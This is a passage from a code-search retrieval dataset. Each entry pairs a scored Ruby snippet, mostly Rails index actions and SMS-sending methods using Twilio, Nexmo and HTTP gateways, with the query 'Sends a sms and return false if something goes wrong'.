"score": "0.55388683",
"text": "def index\n @preprocessings = Preprocessing.all\n end",
"title": ""
},
{
"docid": "75a70da32ebf0b75d7cfa7922717ca22",
"score": "0.55384",
"text": "def index\n # Show all job applications\n params[:search] = format_date params[:search]\n \n @job_postings = JobPosting.search(params[:search], params[:column]).order(sort_column(JobPosting, 'title') + ' ' + sort_direction).page(params[:page]).per(10)\n \n get_params()\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @job_postings }\n end\n end",
"title": ""
},
{
"docid": "5c9a49d1718a6f88505dd6c8d0579c6b",
"score": "0.55375516",
"text": "def get_all\n uri = URI(@proc_url)\n procs= JSON.parse(Net::HTTP.get_response(uri).body)\n return procs[\"processors\"]\n end",
"title": ""
},
{
"docid": "775da3f3094b1ed307d117f34b1f5b0d",
"score": "0.55352306",
"text": "def index\n respond_to do |format|\n format.html {\n @recent_objects = Depiction.where(project_id: sessions_current_project_id).order(updated_at: :desc).limit(10)\n render '/shared/data/all/index'\n }\n format.json {\n @depictions = Depiction.where(project_id: sessions_current_project_id).where(\n Queries::Annotator::polymorphic_params(params, Depiction)\n ).page(params[:page])\n .per(params[:per])\n }\n end\n end",
"title": ""
},
{
"docid": "59a23d158674919610eec97d509ac7e8",
"score": "0.5535212",
"text": "def index\n @recycling_points = RecyclingPoint.all\n render json: @recycling_points\n end",
"title": ""
},
{
"docid": "1398b7c493f3edaa0ce113d31a43caaa",
"score": "0.5534106",
"text": "def job_data\n jenkins_rest_call(\"/api/json\")\n end",
"title": ""
},
{
"docid": "62626581899acbcd0051efd84ecfbd22",
"score": "0.55329764",
"text": "def index\n @scanneds = Scanned.all\n render json: @scanneds\n end",
"title": ""
},
{
"docid": "fc5c52f462bbdc4af2811e81c7bfa24c",
"score": "0.5518758",
"text": "def index\n @requests = Request.all\n render json: @requests, status: :ok\n end",
"title": ""
},
{
"docid": "2b4e67f7e0f3d5745f679131f4f81f76",
"score": "0.5515445",
"text": "def index\n respond_to do |format|\n format.html {\n @recent_objects = TaxonDetermination.recent_from_project_id(sessions_current_project_id).order(updated_at: :desc).limit(10)\n render '/shared/data/all/index'\n }\n format.json {\n @taxon_determinations = Queries::TaxonDetermination::Filter.new(params).all\n .page(params[:page])\n .per(params[:per])\n }\n end\n end",
"title": ""
},
{
"docid": "318460a168d00fb2e78c910e4ecef99d",
"score": "0.5510451",
"text": "def index\n #@data_entries = DataEntry.all\n end",
"title": ""
}
] |
9494d3fc24ae2ff6befd7316d7341b9e
|
Sends a sms and return false if something goes wrong
|
[
{
"docid": "4bc12fea1e9fcb32f68341d382a5582d",
"score": "0.63451695",
"text": "def deliver\n begin\n deliver!\n true\n rescue DeliverError, InvalidPhoneNumberNumeraticly, InvalidPhoneNumberLength,\n InvalidPhoneNumber, InvalidSmsPropertis => e\n false\n end\n end",
"title": ""
}
] |
[
{
"docid": "fd1518a0abaf5979001fe84572293087",
"score": "0.79500586",
"text": "def sends_sms?\n false\n end",
"title": ""
},
{
"docid": "3e256478d5b856e6466ca6ce11ce6c18",
"score": "0.76739144",
"text": "def deliver\n\t\tsmser = self.meta_data[:smser].constantize\n\t\tsms = smser.send(self.datum.to_sym, user_id, tenant_id, meta_data)\n\n\t\treturn false if sms.nil? || sms.respond_to?(:null_sms?) # work around as rspec can't NullSms\n\n\t\t# ********************\t\n\t\t# **** Sleep is to make sure only one sms is sent at a time\n\t\t# **** to try and avoid seg faults!\n\t\t# ********************\t\n\t\t#sleep 1\n\n\t\t# this will throw if sms provider doesn't like it\n\t\ttransaction_data = sms.deliver \n\t\tself.meta_data[:transaction_data] = transaction_data\n\t\tself.save\n\n\t\t# this will throw if upstream from twilio doesn't like it\n\t\traise \"Upstream SMS provider rejected SMS\" if transaction_data[:status] == \"failed\"\n\n\t\t# ********************\t\n\t\t# **** Sleep is to make sure only one sms is sent at a time\n\t\t# **** to try and avoid seg faults!\n\t\t# ********************\t\n\t\t#sleep 1\n\n\t\ttrue\t\n\tend",
"title": ""
},
{
"docid": "63bfd76b472fd75a91942d2a6b263576",
"score": "0.7663271",
"text": "def test(sms)\n send_sms(sms)\n end",
"title": ""
},
{
"docid": "30818167a935a8a3a4aaca4bc52dc3db",
"score": "0.7513192",
"text": "def sms_send\n end",
"title": ""
},
{
"docid": "79a645d507959e25b6b54e66794344a8",
"score": "0.7499095",
"text": "def send_message!\n #fail to send if the message doesn't pass validation\n return false unless self.valid?\n #otherwise continue to send the message\n \n # Get the number from twilio if the twilio number isn't defined\n unless(@twilio_number)\n twilio_numbers_list = twilio_numbers\n \n # grab the first number in the list\n @twilio_number = twilio_numbers_list[0].phone_number\n end\n \n #build args for twilio\n post_args = {\n :from => @twilio_number,\n :to => \"+1#{self.phone_number}\",\n :body => self.content\n }\n \n # if in dev, post to the sms log\n unless (defined?(FAKE_SMS_MESSAGES) && FAKE_SMS_MESSAGES)\n submit_to_gateway!(post_args)\n else\n fake_submit_to_gateway!(post_args)\n end\n end",
"title": ""
},
{
"docid": "559331e0967eb4ea54f098314fa217d5",
"score": "0.72795737",
"text": "def send_sms!(msg)\n return false unless sms_alerts and phone_number_is_valid? and not mobile_carrier.blank?\n UserMailer.send_sms(self, msg).deliver\n end",
"title": ""
},
{
"docid": "8cbd3017d0f16158c8fc8c36556292d2",
"score": "0.72638726",
"text": "def send_by_sms?(resource)\n\t\ttrue\n\tend",
"title": ""
},
{
"docid": "6e1b0f1c5fc26b261f12f1a7bf208574",
"score": "0.72495484",
"text": "def send_verification_sms\n send_sms\n end",
"title": ""
},
{
"docid": "6e1b0f1c5fc26b261f12f1a7bf208574",
"score": "0.72495484",
"text": "def send_verification_sms\n send_sms\n end",
"title": ""
},
{
"docid": "b118c22e625374d180395fcd83f7f0a2",
"score": "0.7151491",
"text": "def test!\n begin\n send_message!(recipient_number: '_', text: '')\n rescue Excon::Errors::Error\n false\n rescue MessageRejectedError\n true\n else\n false # Gateway is being weird, should never accept that message\n end\n end",
"title": ""
},
{
"docid": "665723eaf88379a130ea15178fec4de4",
"score": "0.7143992",
"text": "def send_response_sms(from, contents, data)\n txtreturn = \"'You have successfully sent $#{contents['amount']} to #{contents['to']}. \n Your new balance is: $#{data['SBALANCE']}. MOSAN'\"\n sender = \"sendsms #{from} #{txtreturn}\"\n \n txtto = \"'You received $#{contents['amount']} from #{from}. Your new balance is: $#{data['CBALANCE']}. MOSAN'\"\n receiver=\"sendsms #{contents['to']} #{txtto}\"\n begin\n `#{sender}`\n `#{receiver}`\n puts \"The sms's have been sent...\"\n \n rescue\n puts \"The response could not be sent to the sender #{from} and the recipient #{contents['to']}. \n The transaction was successful.\"\n end\n end",
"title": ""
},
{
"docid": "0394016a73ab90481d65d3a7f403bbe2",
"score": "0.7082282",
"text": "def send_sms_confirmation!\n return false if _TC_sms_blocked\n return true if sms_confirmed?\n return false if _TC_phone_number.blank?\n\n format_phone_number\n confirmation_code = TwilioContactable.confirmation_code(self, :sms)\n\n # Use this class' confirmation_message method if it\n # exists, otherwise use the generic message\n message = (self.class.respond_to?(:confirmation_message) ?\n self.class :\n TwilioContactable).confirmation_message(confirmation_code)\n\n if message.to_s.size > 160\n raise ArgumentError, \"SMS Confirmation Message is too long. Limit it to 160 characters of unescaped text.\"\n end\n\n response = TwilioContactable::Gateway.deliver_sms(message, _TC_formatted_phone_number)\n\n if response.success?\n update_twilio_contactable_sms_confirmation confirmation_code\n end\n\n response\n end",
"title": ""
},
{
"docid": "f4a510a1860526b205f7d3f88c9c0a9f",
"score": "0.7064075",
"text": "def test!\n begin\n send_message!(:recipient_number => '_', :text => '')\n rescue Excon::Errors::Error\n false\n rescue MessageRejectedError\n true\n else\n false # Gateway is being weird, should never accept that message\n end\n end",
"title": ""
},
{
"docid": "b39f709c0154ac341264b8fc7eb8350a",
"score": "0.7029348",
"text": "def send_sms(options = {})\n # Check for login\n login = options[:login] || @@login\n raise ArgumentError, \"Login must be present\" unless login and not login.blank?\n\n # Check for password\n password = options[:password] || @@password\n raise ArgumentError, \"Password must be present\" unless password and not password.blank?\n\n # Multiple destinations support\n options[:destination] = [options[:destination]] unless options[:destination].kind_of?(Array)\n\n # Check for max destinations\n raise ArgumentError, \"Max of 5000 destinations exceeded\" if (options[:destination].size > 5000)\n\n destinations = []\n options[:destination].each do |phone|\n raise ArgumentError, \"Recipient must be a telephone number with international format: #{phone.to_s}\" unless parsed = GlobalPhone.parse(phone.to_s)\n if parsed.international_string.to_s =~ /^\\+1/\n destinations << parsed.international_string.gsub(/^\\+1/, \"01\") # Replace initial +1 with 01 for IT Cloud requirements\n else\n destinations << parsed.international_string.gsub(\"+\", \"\") # Remove + from international string\n end\n end\n\n message = options[:message].to_s\n raise ArgumentError, \"Message must be present\" if message.blank?\n raise ArgumentError, \"Message is 765 chars maximum\" if message.size > 765\n\n http = Net::HTTP.new(APIUri.host, APIUri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Post.new(APIUri.request_uri)\n request.set_form_data({'user' => login,\n 'token' => password,\n 'GSM' => destinations.join(\",\"),\n 'SMSText' => message,\n 'metodo_envio' => '1via'})\n\n response = http.request(request)\n if response.code == \"200\"\n begin\n result = response.body.split(\"<br>\").map{ |a| a.split(\",\") }.map{ |res| {:telephone => res[0].strip, :code => res[1].strip }}\n rescue\n # Try to get petition result\n result = [{:code => response.body}]\n end\n result.each do |destination|\n case destination[:code]\n when \"-1\" then\n destination[:description] = \"Authentication failed\"\n when \"-2\" then\n destination[:description] = \"Out of hours\"\n when \"-3\" then\n destination[:description] = \"No credit\"\n when \"-4\" then\n destination[:description] = \"Wrong number\"\n when \"-5\" then\n destination[:description] = \"Wrong message\"\n when \"-6\" then\n destination[:description] = \"System under maintenance\"\n when \"-7\" then\n destination[:description] = \"Max cellphones reached\"\n when \"-8\" then\n destination[:description] = \"Cellphone number in black list\"\n when \"-9\" then\n destination[:description] = \"message rejected for content\"\n when \"-10\" then\n destination[:description] = \"Message with no link authorized\"\n when \"-11\" then\n destination[:description] = \"Error in metodo_envio variable\"\n else\n if destination[:code].to_i > 0\n destination[:description] = \"OK\"\n else\n destination[:description] = \"Unknown error\"\n end\n end\n end\n return result\n else\n raise RuntimeError, \"Server responded with code #{response.code}: #{response.body}\"\n end\n end",
"title": ""
},
{
"docid": "969a9a04f2510c5897868634fe54b06e",
"score": "0.7006046",
"text": "def deliver sms\n response = nexmo.send_message(\n from: sms.from,\n to: sms.to,\n text: sms.text\n )\n\n # If sending the SMS was a success then store\n # the message ID on the SMS record\n if response['messages'].first['status'] == '0'\n sms.update_attributes(\n message_id: response['messages'].first['message-id']\n )\n end\n end",
"title": ""
},
{
"docid": "6524fba8b1d480408732dbd3a45bec50",
"score": "0.6983032",
"text": "def send_sms(phone, content, type) #:nodoc: all\n raise 'invalid sms parameters' unless type.present? && !content.blank? && !phone.blank? && phone.to_sz.map { |p| p.to_s =~ /1\\d{10}/ }.inject(&:&)\n response = ::SendSms.send(phone, content, type)\n # response = api :sendSMS, {params: [nil, phone.to_sz.map(&:to_s), content, nil, 'UTF-8', 5, 0], channel: channel}\n # raise response.values.first[:return] unless response.values.first[:return] == '0'\n end",
"title": ""
},
{
"docid": "62b57c5507222b038a39009baf69900e",
"score": "0.6959574",
"text": "def send_sms_friend(friend_contact)\n if friend_contact[0] != \"+\"\n false\n else\n begin\n msg = \"Hello admin here..Your friend has invited you to download the boo app\"\n sms_client = SendSms.new\n message = sms_client.send_sms(contact, msg)\n message.status == \"queued\"\n rescue Exception => e\n false\n end\n end\n end",
"title": ""
},
{
"docid": "3e7597fa6df491f01bed383452d52b7c",
"score": "0.6939182",
"text": "def send_sms!\n msg = \"You have a new message in HereStay: #{mobile_booking_messages_url(self.booking_id, :host => ActionMailer::Base.default_url_options[:host])}\"\n if recipient\n recipient.deliver_message!(msg) if !recipient.online? and recipient.available_by_phone?\n end\n end",
"title": ""
},
{
"docid": "4d81420f89c1788b335e244e212cb6b7",
"score": "0.6934415",
"text": "def send_sms\n self.resource = resource_class.send_sms_token(params[resource_name])\n \n if resource.errors.empty?\n set_flash_message :notice, :send_token, :phone => self.resource.phone\n redirect_to new_sms_session_path(resource_name)\n else\n render :resend\n end\n end",
"title": ""
},
{
"docid": "62f29e8e3a965a0c89399afb5522ae71",
"score": "0.690258",
"text": "def send_sms(messages)\r\n\r\n # validate required parameters\r\n validate_parameters({\r\n 'messages' => messages\r\n })\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/sms/send'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'content-type' => 'application/json; charset=utf-8'\r\n }\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.post _query_url, headers: _headers, parameters: messages.to_json\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # validate response against endpoint and global error codes\r\n if _context.response.status_code == 404\r\n return nil\r\n end\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n return _context.response.raw_body\r\n end",
"title": ""
},
{
"docid": "6418b78b80b19191f38844f96f7ca248",
"score": "0.6884514",
"text": "def deliver!(sms)\n req = Net::HTTP::Post.new(URL.path)\n hash = sms.serializable_hash\n if hash[:to].is_a?(Array)\n to = hash.delete(:to)\n hash['to[]'] = to\n end\n\n req.form_data = @config.merge(hash)\n\n res = Net::HTTP.start(URL.host, URL.port) do |http|\n http.request(req)\n end\n\n case res\n when Net::HTTPSuccess\n true\n else\n raise DeliveryError.new(res.body, res.code)\n end\n\n end",
"title": ""
},
{
"docid": "e71e93a2b8ef04ca55b57aa419f6b361",
"score": "0.68795174",
"text": "def send_sms(options = {})\n # Check for login\n login = options[:login] || @@login\n raise ArgumentError, \"Login must be present\" unless login and not (login.strip.size == 0)\n\n # Check for password\n password = options[:password] || @@password\n raise ArgumentError, \"Password must be present\" unless password and not (password.strip.size == 0)\n\n from = options[:from] || @@from\n raise ArgumentError, \"Sender length 11 characters maximum\" if (from.size > 11)\n\n # Multiple destinations support\n options[:destination] = [options[:destination]] unless options[:destination].kind_of?(Array)\n\n destinations = []\n options[:destination].each do |phone|\n raise ArgumentError, \"Recipient must be a telephone number with international format: #{phone.to_s}\" unless parsed = GlobalPhone.parse(phone.to_s)\n destinations << parsed.international_string.gsub(\"+\", \"\") # Remove + from international string\n end\n\n message = options[:message].to_s\n raise ArgumentError, \"Message must be present\" if message.nil? or (message.strip.size == 0)\n raise ArgumentError, \"Message is 160 chars maximum\" if message.size > 160\n\n uri = APIUri.dup\n params = { 'username' => login,\n 'password' => password,\n 'from' => from,\n 'to' => destinations.join(\" \"),\n 'text' => message,\n 'coding' => \"0\",\n 'trsec' => \"1\"}\n uri.query = URI.escape(params.map{ |k,v| \"#{k}=#{v}\" }.compact.join('&'))\n https = Net::HTTP.new(APIUri.host, APIUri.port)\n https.use_ssl = true\n https.verify_mode = OpenSSL::SSL::VERIFY_NONE\n req = Net::HTTP::Get.new(uri.request_uri)\n\n response = https.start { |cx| cx.request(req) }\n if response.code == \"200\"\n begin\n match = response.body.match(/(\\d+):\\s((\\s|\\w)+)(\\.\\sID\\s(\\d+))?/i)\n if match\n result = {:code => match[1].to_i, :description => match[2], :id => match[5]}\n else\n result = {:code => response.body, :description => \"Unknown error\"}\n end\n rescue\n # Try to get petition result\n result = {:code => response.body}\n end\n return result\n else\n raise RuntimeError, \"Server responded with code #{response.code}: #{response.body}\"\n end\n end",
"title": ""
},
{
"docid": "a1a87be0f129545a990b9add5147a4ef",
"score": "0.68788904",
"text": "def send_sms(message_body, phone_no, type = 1)\n request_body = {}\n request_body[:un] = ISMS.username\n request_body[:pwd] = ISMS.password\n request_body[:dstno] = phone_no\n request_body[:msg] = message_body\n request_body[:type] = type\n\n faraday_response = connection.post do |request|\n request.url SEND_SMS_URL\n request.body = request_body\n end\n\n parse_response(faraday_response.body)\n end",
"title": ""
},
{
"docid": "375e2c8626422afeacfd40ad44f06742",
"score": "0.686714",
"text": "def test\n send_sms( \"+20126699638\",\"Hey, Welcome to Shipme Website ;)\" )\n end",
"title": ""
},
{
"docid": "3c8e6485b2ecbd78592c361a4618a91f",
"score": "0.6863012",
"text": "def deliver_sms(options={})\n#puts \"**** Message#deliver_sms; options=#{options}\"\n sms_gateway = options[:sms_gateway] || SmsGateway.default_sms_gateway\n @phones ||= options[:phone_numbers] || sent_messages.map {|sm| sm.phone}.compact.uniq\n @phones = @phones.split(',') if @phones.is_a? String \n if @phones.empty?\n AppLog.create(:code => 'Message.deliver_sms', :severity=> 'warning', \n :description => \"Attempting to send SMS for message ##{self.id} but no phone numbers found\")\n return\n end\n assemble_sms()\n#puts \"**** sms_gateway.deliver #{sms_gateway} w #{phone_numbers}: #{sms_only}\"\n #******* CONNECT TO GATEWAY AND DELIVER MESSAGES \n gateway_reply = sms_gateway.deliver(@phones, sms_only, self.id)\n#puts \"**** sms_gateway=#{sms_gateway}\"\n#puts \"**** gateway_reply=#{gateway_reply}\"\n #******* PROCESS GATEWAY REPLY (INITIAL STATUSES OF SENT MESSAGES) \n update_sent_messages_w_status(gateway_reply) if options[:news_update].nil? && gateway_reply # The IF is there just to make testing simpler.\n # In production, a reply will always be present?\n end",
"title": ""
},
{
"docid": "194f327d29cf1d22c1e6bcd7fad5e9d4",
"score": "0.6861465",
"text": "def send_sms!(msg, allow_multiple = false)\n if msg.to_s.size > 160 && !allow_multiple\n raise ArgumentError, \"SMS Message is too long. Either specify that you want multiple messages or shorten the string.\"\n end\n return false if msg.to_s.strip.blank? || _TC_sms_blocked\n return false unless sms_confirmed?\n\n # split into pieces that fit as individual messages.\n msg.to_s.scan(/.{1,160}/m).map do |text|\n if TwilioContactable::Gateway.deliver_sms(text, _TC_formatted_phone_number).success?\n text.size\n else\n false\n end\n end\n end",
"title": ""
},
{
"docid": "e0727a7b8fd8f694a0fd0264ab5943c6",
"score": "0.6844513",
"text": "def deliver sms\n response = nexmo.sms.send(\n from: sms.from,\n to: sms.to,\n text: sms.text\n )\n \n # If sending the SMS was a success then store\n # the message ID on the SMS record\n if response['messages'].first['status'] == '0'\n sms.update_attributes(\n message_id: response['messages'].first['message-id']\n )\n end\n end",
"title": ""
},
{
"docid": "2c78378818cd8df1a63151269a041d05",
"score": "0.6829023",
"text": "def send_sms(event)\r\n data = parse_body(event['body'])\r\n if data\r\n QUIZ_SNS.publish(\r\n phone_number: data['phoneNumber'], # Replace with a valid mobile phone number\r\n message: data['message']\r\n )\r\n true\r\n else\r\n false\r\n end\r\nend",
"title": ""
},
{
"docid": "68d1a62324ea081200eefb584b126a52",
"score": "0.68234026",
"text": "def send_sms(message_text, phones, options = {})\n raise ArgumentError.new(\"Text must be at least 1 character long\") if message_text.blank?\n raise ArgumentError.new(\"No phones were given\") if phones.blank?\n raise ArgumentError.new(\"Either :sender_name or :sender_number attribute required\") if options[:sender_name].blank? && options[:sender_number].blank?\n raise ArgumentError.new(\"Sender number must be between 4 to 14 digits: #{options[:sender_number]}\") if options[:sender_number].present? && !PhoneNumberUtils.valid_sender_number?(options[:sender_number])\n raise ArgumentError.new(\"Sender name must be between 2 and 11 latin chars\") if options[:sender_name].present? && !PhoneNumberUtils.valid_sender_name?(options[:sender_name])\n\n phones = [phones] unless phones.is_a?(Array)\n phones.each do |p| # check that phones are in valid cellular format\n raise ArgumentError.new(\"Phone number '#{p}' must be cellular phone with 972 country code\") unless PhoneNumberUtils.valid_cellular_phone?(p)\n end\n\n message_id = UUIDTools::UUID.timestamp_create.to_str\n body_params = build_send_sms_params(message_text, phones, message_id, options)\n logger.debug \"#send_sms - making post to #{@options[:api_url]} with params: \\n #{body_params}\"\n http_response = HTTParty.post(@options[:api_url], :body => body_params, :headers => {'Accept' => 'application/json'})\n logger.debug \"#send_sms - got http response: code=#{http_response.code}; body=\\n#{http_response.parsed_response}\"\n raise StandardError.new(\"Non 200 http response code: #{http_response.code} \\n #{http_response.parsed_response}\") if http_response.code != 200\n if http_response.parsed_response.is_a?(Hash)\n json = http_response.parsed_response\n elsif http_response.parsed_response.is_a?(String)\n begin\n json = JSON.parse(http_response.parsed_response)\n rescue JSON::ParserError => e\n raise PayCallSms::GatewayError.new(\"Failed to parse response to json: #{http_response.parsed_response}\")\n end\n logger.debug \"#send_sms - parsed response: #{json.inspect}\"\n end\n if json['success'] == true\n OpenStruct.new(\n message_id: message_id,\n )\n else\n raise PayCallSms::GatewayError.new(\"Failed to send sms: #{json.inspect}\")\n end\n end",
"title": ""
},
{
"docid": "9f1efcb58927d17dba1af496604d61b3",
"score": "0.68177646",
"text": "def send_sms_message(&block)\n Logger.d(\"Sending message via SMS connection...\")\n\n Sms.send_sms(@to[\"phone_number\"], @from.get_invite_message(@bitch_object[\"abuse\"]), @on_api_call_failed)\n block.call(nil)\n end",
"title": ""
},
{
"docid": "aa230d2a8d086ce2669f025ea134c95e",
"score": "0.6811687",
"text": "def send_sms(params)\n if !enabled?\n return nil\n end\n\n from = params[:From]\n body = params.key?(:URL) ? params[:Body] + params[:URL] : params[:Body]\n to = params[:To]\n # returns a twilio API message object\n # refer to docs: https://www.twilio.com/docs/sms/api/message-resource#message-properties\n begin\n client\n client.messages.create(\n from: from,\n body: body,\n to: to\n )\n rescue => error\n Rails.logger.error(\"send SMS failed: #{error}\")\n error\n end\n end",
"title": ""
},
{
"docid": "76178098e02318edddf6ecb8fa3f814e",
"score": "0.67985016",
"text": "def send_sms(telephone, text_msg)\n\n #api = Nuntium.new \"service_url\", \"account_name\", \"application_name\", \"application_password\"\n api = Nuntium.new Settings.alert_sms_service_url, Settings.alert_sms_account_name, Settings.alert_sms_application_name, Settings.alert_sms_application_password\n\n from_tel = Settings.alert_sms_from_tel\n to_tel = \"sms://\"+telephone\n\n sms_message = {\n :from => from_tel,\n :to => to_tel,\n :body => text_msg\n }\n\n response = api.send_ao sms_message\n end",
"title": ""
},
{
"docid": "c95558db6ce582ca22d4d3dad552cf0e",
"score": "0.6794425",
"text": "def send_sms message, isd_code, mobile_no\n\t\trequire 'net/http'\n\t\tsms_api_url = \"http://193.105.74.159/api/v3/sendsms/plain\"\n\t\tsms_api_params = URI.encode(\"user=kapsystem&password=kap@user&sender=KAPNFO&SMSText=#{message}&type=longsms&GSM=#{isd_code}#{mobile_no}\")\n\t\turl = URI.parse(sms_api_url + \"?\" + sms_api_params)\n\t\treq = Net::HTTP::Get.new(url.to_s)\n\t\tres = Net::HTTP.start(url.host, url.port) {|https|\n\t\t\thttps.request(req)\n\t\t}\n\t\tRails.logger.debug \"SMS Response:\" + res.body\n\tend",
"title": ""
},
{
"docid": "36000e6ff2313ac1870a7290ed65b641",
"score": "0.6757285",
"text": "def send_sms(phone, text)\n resp = sns_client.publish(phone_number: phone, message: text)\n\n if resp.error.nil? && resp.message_id\n respond_with_status :success\n else\n respond_with_status :unknown_failure\n end\n end",
"title": ""
},
{
"docid": "1429713824eca023753638cf411b8596",
"score": "0.675319",
"text": "def send_sms\n @user = self.user\n @user.phone.slice!(0)\n @user_phone = \"\"\n @host = User.find(self.user_id)\n client = Twilio::REST::Client.new(ENV['ACCOUNT_SID'], ENV['AUTH_TOKEN'])\n from = ''\n to = @user_phone\n client.messages.create(\n from: from,\n to: to,\n body: \"Votre réservation a bien été prise en compte. Vous serez informé dès que #{@host.first_name}aura accepté votre reservation.\"\n )\n end",
"title": ""
},
{
"docid": "929512d160b8ea8909f0cebbfc675029",
"score": "0.67345554",
"text": "def receive_sms\n @enquiry = Enquiry.find(params[:ref].to_i)\n render nothing: true and return unless @enquiry\n @host = @enquiry.booking.bookee if @enquiry.booking.bookee.mobile_number.gsub(/\\s+/,\"\").split(//).last(5).join == params[:from].split(//).last(5).join\n render nothing: true and return unless @host #&& @host.admin? Remove @host.admin? to enable for all users\n @guest = @enquiry.booking.booker\n\n # Check that this is the first response from the host\n render nothing: true and return unless @enquiry.mailbox.messages.where(:user_id => @enquiry.mailbox.host_mailbox_id).count == 0\n\n # Handle message\n if (params[:message] =~ /^yes/i).present? # Sends interested SMS content to guest\n message = \"PHS HOST RESPONSE from #{@host.first_name}, #{@host.homestay.address_postcode}: \"\n message += @host.homestay.auto_interest_sms_text\n send_sms(to: @guest, text: message, ref: @enquiry.id)\n @enquiry.booking.mailbox.messages.create(:user_id => @host.id, :message_text => message)\n elsif (params[:message] =~ /^no/i).present? # Sends declined SMS content to guest\n # Reject the booking\n @enquiry.booking.update_column(:state, \"rejected\")\n message_content = @host.homestay.auto_decline_sms_text\n @enquiry.booking.mailbox.messages.create(:user_id => @host.id, :message_text => message_content )\n else\n @enquiry.booking.mailbox.messages.create(:user_id => @host.id, :message_text => params[:message])\n end\n\n render nothing: true\n end",
"title": ""
},
{
"docid": "8048eb6163258b0a0ed3112539d40765",
"score": "0.67341435",
"text": "def send_sms(mobile, text)\n #rails_config gem 配置\n accountSid = Settings.sms.accountSid\n appId = Settings.sms.appId\n auth_token = Settings.sms.auth_token\n templateId = Settings.sms.templateId\n time_out = Settings.sms.time_out\n apiurl = Settings.sms.apiurl\n now_time = Time.now.strftime('%Y%m%d%H%M%S')\n\n authorization = Base64.encode64(\"#{accountSid}:#{now_time}\").delete(\"\\n\")\n\n sig_parameter=Digest::MD5.hexdigest(\"#{accountSid}#{auth_token}#{now_time}\").upcase\n RestClient.post \"#{apiurl}/2013-12-26/Accounts/#{accountSid}/SMS/TemplateSMS?sig=#{sig_parameter}\",\n \"{'to': '#{mobile}','appId': '#{appId}','templateId':'#{templateId}','datas':['#{text}']}\",\n content_type: :json,\n accept: :json,\n charset: 'utf-8',\n Authorization: authorization\n\n\n end",
"title": ""
},
{
"docid": "a67696c6feeb9fe5122bca32f9912e74",
"score": "0.67038524",
"text": "def marcatel_send_sms!(phone_number, message)\n marcatel_client.insert_message! phone_number, message\n end",
"title": ""
},
{
"docid": "f96f4bef7cf72a165f623d4b60cc8fa2",
"score": "0.67015904",
"text": "def send_text_message(message)\n processor = message.contact.line.number.processor\n \n case processor\n when \"AAISP\"\n res = Net::HTTP.post_form(URI.parse(\"http://sms.aaisp.net.uk/sms.cgi\"),\n { 'username' => message.contact.line.number.username,\n 'password' => message.contact.line.number.password,\n 'destination' => message.contact.phone_number,\n 'message' => message.body,\n 'report' => 'https://www.escuchat.com/text_message/delivery',\n 'costcentre' => message.contact.line.id,\n 'private' => \"escuchat_#{message.contact.line.id}\"})\n else\n logger.error \"Unknown processor: #{processor}\" and return\n end\n \n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n # OK\n else\n logger.debug \"send_text_message: HTTP Error: \" + res\n res.error!\n end\n end",
"title": ""
},
{
"docid": "7c807957be32cde12074f42f5088e85f",
"score": "0.66948366",
"text": "def send_sms(phone, text, _args = {})\n @logger.send(@severity, \"[SMS] #{phone}: #{text}\")\n respond_with_status :success\n end",
"title": ""
},
{
"docid": "f5268b2eaa800aa791bcd279a51d24d1",
"score": "0.66856104",
"text": "def send_text(phone_number, message)\n errors = TwilioHelper.send_text(phone_number, message)\n if errors and errors != \"\"\n flash[:error] = errors\n end\n return errors == \"\"\n end",
"title": ""
},
{
"docid": "040414d2467f9466d9c2fda8a27004df",
"score": "0.667304",
"text": "def is_allow_expired_send_sms? \n end",
"title": ""
},
{
"docid": "22707e34cc87ce8ee79bf3d02f358968",
"score": "0.6655009",
"text": "def test!\n begin\n send_message!(:recipient_email => '_', :subject => 'meh')\n rescue Excon::Errors::Error, Timeout::Error\n false\n rescue MessageRejectedError, RecipientRejectedError\n true\n else\n false # Gateway is being weird, should never accept that message\n end\n end",
"title": ""
},
{
"docid": "15884a55a5fd3d0c5c664a3937561d87",
"score": "0.6649158",
"text": "def sms\n\t\tlogger.info \"#{ENV.fetch(\"REDIS_URL\")}\"\n\t\tredis = Redis.current\n\t\tif [\"STOP\",\"STOP\\n\",\"STOP\\r\", \"STOP\\r\\n\"].include? params[:text]\n\t\t\tredis.set(\"#{@account.username+\"_#{params[:from]}/#{params[:to]}\"}\",\"#{params[:from]}/#{params[:to]}\",ex: 4.hours)\n\t\tend\n\t\trender json: \n\t\t{\n\t\t\tresponse_code: 200,\n\t\t\tresponse_message: \"#{I18n.t 'Inbound_ok'}\"\n\t\t}\n\tend",
"title": ""
},
{
"docid": "6bf434a820593ad394ce00b71ba66f84",
"score": "0.6644718",
"text": "def send_sms(_phone, _text)\n raise NotImplementedError,\n \"You should create your own class for every sms service you use\"\n end",
"title": ""
},
{
"docid": "11297836047e4ab6f5bf1050afc9f36e",
"score": "0.6608199",
"text": "def send(num, msj, time=nil)\n response = run('enviar', nil, num, msj, time)\n success = response[\"code\"] == 200\n raise 'NoSuccessCode' if !success\n success\n rescue => e\n error(response[\"code\"])\n false\n end",
"title": ""
},
{
"docid": "d12113e8777c03839c622aa3f409ca46",
"score": "0.6577502",
"text": "def send_sms(resource)\n\t\tif self.sms_send_count < max_retry_count\n\t\t\tself.sms_send_count+=1\n\t\t\tcreate_notification_response(yield,\"sms\")\n\t\t\tself.save\n\t\tend\n\tend",
"title": ""
},
{
"docid": "9de553c44661f84f00a38928d06a5b19",
"score": "0.6574679",
"text": "def send(user, content, options = {})\n begin\n @client.account.messages.create({\n to: phone(user),\n from: options[:from] || PHONE_NUM,\n body: content\n })\n\n return true\n rescue Twilio::REST::RequestError\n return false\n end\n end",
"title": ""
},
{
"docid": "bd38f9e40808d389b3af63af425c020b",
"score": "0.6573689",
"text": "def send_sms(client, user_id, phone_number)\n sms_res = client.call(:send_otp, message: create_send_sms_body(user_id, phone_number))\n result_hash = sms_res.body[:send_otp_response]\n success = result_hash[:status] == '0000'\n\n {\n success: success,\n id: result_hash[:request_id],\n message: result_hash[:status_message]\n }\n end",
"title": ""
},
{
